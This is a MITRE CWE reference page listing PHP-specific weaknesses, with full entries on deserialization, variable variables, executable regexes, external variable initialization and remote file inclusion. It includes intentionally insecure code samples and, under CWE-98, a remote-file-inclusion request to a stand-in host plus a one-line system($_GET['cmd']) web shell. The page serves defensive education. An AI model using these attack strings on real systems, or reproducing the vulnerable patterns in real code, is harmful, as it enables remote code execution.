CWE

Common Weakness Enumeration

A Community-Developed List of Software Weakness Types

CWE/SANS Top 25 Most Dangerous Software Errors
Home > CWE List > VIEW SLICE: CWE-661: Weaknesses in Software Written in PHP (2.10)  
ID

CWE VIEW: Weaknesses in Software Written in PHP

View ID: 661
Structure: Implicit Slice
Status: Draft
Presentation Filter:
+ View Data

View Objective

This view (slice) covers issues that are found in PHP programs that are not common to all languages.

View Filter: .//Applicable_Platforms//@Language_Name='PHP'

+ Relationships
Weakness VariantWeakness Variant Deserialization of Untrusted Data - (502)
Weakness BaseWeakness Base Dynamic Variable Evaluation - (627)
Weakness BaseWeakness Base Executable Regular Expression Error - (624)
Weakness BaseWeakness Base External Initialization of Trusted Variables or Data Stores - (454)
Weakness BaseWeakness Base Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') - (98)
Weakness BaseWeakness Base Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') - (95)
Weakness BaseWeakness Base Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') - (96)
Weakness BaseWeakness Base Improperly Controlled Modification of Dynamically-Determined Object Attributes - (915)
Weakness VariantWeakness Variant Incomplete Identification of Uploaded File Variables (PHP) - (616)
Weakness BaseWeakness Base Information Exposure Through an Error Message - (209)
Weakness BaseWeakness Base Information Exposure Through Externally-generated Error Message - (211)
Weakness BaseWeakness Base Insecure Default Variable Initialization - (453)
Weakness VariantWeakness Variant Null Byte Interaction Error (Poison Null Byte) - (626)
Weakness BaseWeakness Base Omitted Break Statement in Switch - (484)
Weakness BaseWeakness Base Permissive Regular Expression - (625)
Weakness VariantWeakness Variant PHP External Variable Modification - (473)
Weakness BaseWeakness Base Unrestricted Upload of File with Dangerous Type - (434)
Weakness BaseWeakness Base Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') - (470)
Weakness BaseWeakness Base Use of Function with Inconsistent Implementations - (474)
Weakness VariantWeakness Variant Use of Uninitialized Variable - (457)
Weakness BaseWeakness Base Variable Extraction Error - (621)
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Description, Name, View_Filter, View_Structure
Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Weaknesses found in the PHP Language
+ View Metrics
CWEs in this viewTotal CWEs
Total21out of1005
Views0out of33
Categories0out of244
Weaknesses21out of720
Compound_Elements0out of8
View Components
View Components
A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

CWE-502: Deserialization of Untrusted Data

Weakness ID: 502
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Extended Description

It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.

Data that is untrusted can not be trusted to be well-formed.

+ Alternate Terms
Marshaling, Unmarshaling:

Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.

Pickling, Unpickling:

In Python, the "pickle" functionality is used to perform serialization and deserialization.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Java

Ruby

PHP

Python

Language-independent

+ Common Consequences
ScopeEffect

Technical Impact: Varies by context

The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used.

Integrity

Technical Impact: Modify application data; Unexpected state

Attackers can modify unexpected objects or data that was assumed to be safe from modification.

Availability

Technical Impact: DoS: resource consumption (CPU)

If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.

Authorization
Other

Technical Impact: Other

Code could potentially make the assumption that information in the deserialized object is valid. Functions that make this dangerous assumption could be exploited.

+ Likelihood of Exploit

Medium

+ Demonstrative Examples

Example 1

This code snippet deserializes an object from a file and uses it as a UI button:

(Bad Code)
Example Language: Java 
try {
File file = new File("object.obj");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
javax.swing.JButton button = (javax.swing.JButton) in.readObject();
in.close();
}

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

+ Observed Examples
ReferenceDescription
Deserialization issue in commonly-used Java library allows remote execution.
Deserialization issue in commonly-used Java library allows remote execution.
Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.
Use of PHP unserialize function on untrusted input in content management system might allow code execution.
Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.
Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.
Python script allows local users to execute code via pickled data.
Unsafe deserialization using pickle in a Python script.
Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Phase: Implementation

Explicitly define final readObject() to prevent deserialization. An example of this is:

(Good Code)
Example Language: Java 
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); }

Phases: Architecture and Design; Implementation

Make fields transient to protect them from deserialization.

An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

+ Background Details

Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory858CERT Java Secure Coding Section 13 - Serialization (SER)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfWeakness ClassWeakness Class913Improper Control of Dynamically-Managed Code Resources
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory994SFP Secondary Cluster: Tainted Input to Variable
Software Fault Pattern (SFP) Clusters (primary)888
PeerOfWeakness BaseWeakness Base915Improperly Controlled Modification of Dynamically-Determined Object Attributes
Research Concepts1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPDeserialization of untrusted data
CERT Java Secure CodingSER01-JDo not deviate from the proper signatures of serialization methods
CERT Java Secure CodingSER03-JDo not serialize unencrypted, sensitive data
CERT Java Secure CodingSER06-JMake defensive copies of private mutable components during deserialization
CERT Java Secure CodingSER08-JDo not use the default serialized form for implementation defined invariants
Software Fault PatternsSFP25Tainted input to variable
+ References
Matthias Kaiser. "Exploiting Deserialization Vulnerabilities in Java". 2015-10-28. <http://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478>.
Sam Thomas. "PHP unserialization vulnerabilities: What are we missing?". 2015-08-27. <http://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing>.
Gabriel Lawrence and Chris Frohoff. "Marshalling Pickles: How deserializing objects can ruin your day". 2015-01-28. <http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles>.
Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010-08-25. <http://heine.familiedeelstra.com/security/unserialize>.
Manish S. Saindane. "Black Hat EU 2010 - Attacking Java Serialized Communication". 2010-04-26. <http://www.slideshare.net/msaindane/black-hat-eu-2010-attacking-java-serialized-communication>.
Nadia Alramli. "Why Python Pickle is Insecure". 2009-09-09. <http://nadiana.com/python-pickle-insecure>.
+ Maintenance Notes

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
CLASPExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITREInternal
updated Description, Other_Notes, Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Demonstrative_Examples
2013-02-21CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Observed_Examples, References, Relationships

CWE-627: Dynamic Variable Evaluation

Weakness ID: 627
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.

Extended Description

The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or functions.

+ Alternate Terms
Dynamic evaluation
+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

PHP

Perl

+ Common Consequences
ScopeEffect
Confidentiality
Integrity
Availability

Technical Impact: Modify application data; Execute unauthorized code or commands

An attacker could gain unauthorized access to internal program variables and execute arbitrary code.

+ Observed Examples
ReferenceDescription
Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal.
Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS.
Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion.
Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users.
+ Potential Mitigations

Phase: Implementation

Strategy: Refactoring

Refactor the code to avoid dynamic variable evaluation whenever possible.

Phase: Implementation

Strategy: Input Validation

Use only whitelists of acceptable variable or function names.

Phase: Implementation

For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.

+ Background Details

Many interpreted languages support the use of a "$$varname" construct to set a variable whose name is specified by the $varname variable. In PHP, these are referred to as "variable variables." Functions might also be invoked using similar syntax, such as $$funcname(arg1, arg2).

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base914Improper Control of Dynamically-Identified Variables
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
PeerOfWeakness BaseWeakness Base183Permissive Whitelist
Research Concepts1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Research Gaps

Under-studied, probably under-reported. Few researchers look for this issue; most public reports are for PHP, although other languages are affected. This issue is likely to grow in PHP as developers begin to implement functionality in place of register_globals.

+ References
Steve Christey. "Dynamic Evaluation Vulnerabilities in PHP applications". Full-Disclosure. 2006-05-03. <http://seclists.org/fulldisclosure/2006/May/0035.html>.
Shaun Clowes. "A Study In Scarlet: Exploiting Common Vulnerabilities in PHP Applications". <http://www.securereality.com.au/studyinscarlet.txt>.
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Relationships
2008-10-14CWE Content TeamMITREInternal
updated Background_Details, Description
2011-03-29CWE Content TeamMITREInternal
updated Description
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Common_Consequences, Observed_Examples, Potential_Mitigations, Relationships, Weakness_Ordinalities
2014-07-30CWE Content TeamMITREInternal
updated Relationships

CWE-624: Executable Regular Expression Error

Weakness ID: 624
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.

Extended Description

Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

PHP

Perl

+ Common Consequences
ScopeEffect
Confidentiality
Integrity
Availability

Technical Impact: Execute unauthorized code or commands

+ Observed Examples
ReferenceDescription
Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace
Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace
Complex curly syntax inserted into the replacement argument to PHP preg_replace(), which uses the "/e" modifier
Function allows remote attackers to execute arbitrary PHP code via the username field, which is used in a preg_replace function call with a /e (executable) modifier.
+ Potential Mitigations

Phase: Implementation

The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as \Q and \E in Perl.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class77Improper Neutralization of Special Elements used in a Command ('Command Injection')
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
+ Research Gaps

Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP24Tainted input to command
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Relationships, Observed_Example
2008-10-14CWE Content TeamMITREInternal
updated Description
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-06-23CWE Content TeamMITREInternal
updated Observed_Examples
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings

CWE-454: External Initialization of Trusted Variables or Data Stores

Weakness ID: 454
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.

Extended Description

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. They may have been initialized incorrectly. If an attacker can initialize the variable, then he/she can influence what the vulnerable system will do.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

PHP: (Sometimes)

Language-independent

Platform Notes

This is often found in PHP due to register_globals and the common practice of storing library/include files under the web document root so that they are available using a direct request.

+ Common Consequences
ScopeEffect
Integrity

Technical Impact: Modify application data

An attacker could gain access to and modify sensitive data or system information.

+ Demonstrative Examples

Example 1

In the Java example below, a system property controls the debug level of the application.

(Bad Code)
Example Language: Java 
int debugLevel = Integer.getInteger("com.domain.application.debugLevel").intValue();

If an attacker is able to modify the system property, then it may be possible to coax the application into divulging sensitive information by virtue of the fact that additional debug information is printed/exposed as the debug level increases.

Example 2

This code checks the HTTP POST request for a debug switch, and enables a debug mode if the switch is set.

(Bad Code)
Example Language: PHP 
$debugEnabled = false;
if ($_POST["debug"] == "true"){
$debugEnabled = true;
}
/.../
function login($username, $password){
if($debugEnabled){
echo 'Debug Activated';
phpinfo();
$isAdmin = True;
return True;
}
}

Any user can activate the debug mode, gaining administrator privileges. An attacker may also use the information printed by the phpinfo() function to further exploit the system. .

This example also exhibits Information Exposure Through Debug Information (CWE-215)

+ Observed Examples
ReferenceDescription
Does not clear dangerous environment variables, enabling symlink attack.
Specify alternate configuration directory in environment variable, enabling untrusted path.
Dangerous environment variable not cleansed.
Specify arbitrary modules using environment variable.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking (e.g. input validation) is performed when relying on input from outside a trust boundary.

Phase: Architecture and Design

Avoid any external control of variables. If necessary, restrict the variables that can be modified using a whitelist, and use a different namespace or naming convention if possible.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory452Initialization and Cleanup Errors
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class665Improper Initialization
Research Concepts (primary)1000
ChildOfCategoryCategory8082010 Top 25 - Weaknesses On the Cusp
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory994SFP Secondary Cluster: Tainted Input to Variable
Software Fault Pattern (SFP) Clusters (primary)888
CanAlsoBeWeakness BaseWeakness Base456Missing Initialization of a Variable
Research Concepts1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Relationship Notes

Overlaps Missing variable initialization, especially in PHP.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERExternal initialization of trusted variables or values
Software Fault PatternsSFP25Tainted input to variable
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Sean EidemillerCigitalExternal
added/updated demonstrative examples
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITREInternal
updated Other_Notes, Relationship_Notes
2010-02-16CWE Content TeamMITREInternal
updated Description, Name, Relationships
2010-04-05CWE Content TeamMITREInternal
updated Applicable_Platforms, Demonstrative_Examples
2011-03-29CWE Content TeamMITREInternal
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11External Initialization of Trusted Variables or Values
2010-02-16External Initialization of Trusted Variables

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Weakness ID: 98
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

Extended Description

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

+ Alternate Terms
Remote file include
RFI:

The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

Local file inclusion:

This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

+ Time of Introduction
  • Implementation
  • Architecture and Design
+ Applicable Platforms

Languages

PHP: (Often)

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.

+ Likelihood of Exploit

High to Very High

+ Detection Methods

Manual Analysis

Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

Effectiveness: High

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

+ Demonstrative Examples

Example 1

The following code attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.

victim.php

(Bad Code)
Example Language: PHP 
$dir = $_GET['module_name'];
include($dir . "/function.php");

The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:

(Attack)
 
victim.php?module_name=http://malicious.example.com

Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

(Bad Code)
 
system($_GET['cmd']);

An attacker could now go a step further in our example and provide a request string as follows:

(Attack)
 
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:

(Attack)
 
/bin/ls -l

Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.

+ Observed Examples
ReferenceDescription
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable variable in configuration script leads to file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP local file inclusion.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
Directory traversal vulnerability in PHP include statement.
Directory traversal vulnerability in PHP include statement.
PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.
chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.98.1] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.98.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phases: Architecture and Design; Operation

Strategy: Identify and Reduce Attack Surface

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phases: Architecture and Design; Implementation

Strategy: Identify and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

Phase: Operation

Strategy: Environment Hardening

Set allow_url_fopen to false, which limits the ability to include files from remote locations.

Effectiveness: High

Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class706Use of Incorrectly-Resolved Name or Reference
Research Concepts1000
ChildOfCategoryCategory714OWASP Top Ten 2007 Category A3 - Malicious File Execution
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory727OWASP Top Ten 2004 Category A6 - Injection Flaws
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory8022010 Top 25 - Risky Resource Management
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfWeakness ClassWeakness Class829Inclusion of Functionality from Untrusted Control Sphere
Development Concepts (primary)699
Research Concepts (primary)1000
CanPrecedeWeakness ClassWeakness Class94Improper Control of Generation of Code ('Code Injection')
Development Concepts699
Research Concepts1000
PeerOfWeakness ClassWeakness Class216Containment Errors (Container Errors)
Research Concepts1000
CanAlsoBeCompound Element: CompositeCompound Element: Composite426Untrusted Search Path
Research Concepts1000
CanFollowWeakness ClassWeakness Class73External Control of File Name or Path
Research Concepts1000
CanFollowWeakness BaseWeakness Base184Incomplete Blacklist
Research Concepts1000
CanFollowWeakness BaseWeakness Base425Direct Request ('Forced Browsing')
Research Concepts1000
CanFollowWeakness BaseWeakness Base456Missing Initialization of a Variable
Research Concepts1000
CanFollowWeakness VariantWeakness Variant473PHP External Variable Modification
Research Concepts1000
+ Relationship Notes

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.

Can overlap directory traversal in local inclusion problems.

+ Research Gaps

Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.

+ Affected Resources
  • File/Directory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPHP File Include
OWASP Top Ten 2007A3CWE More SpecificMalicious File Execution
WASC5Remote File Inclusion
+ References
[R.98.1] [REF-32] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". <http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)>.
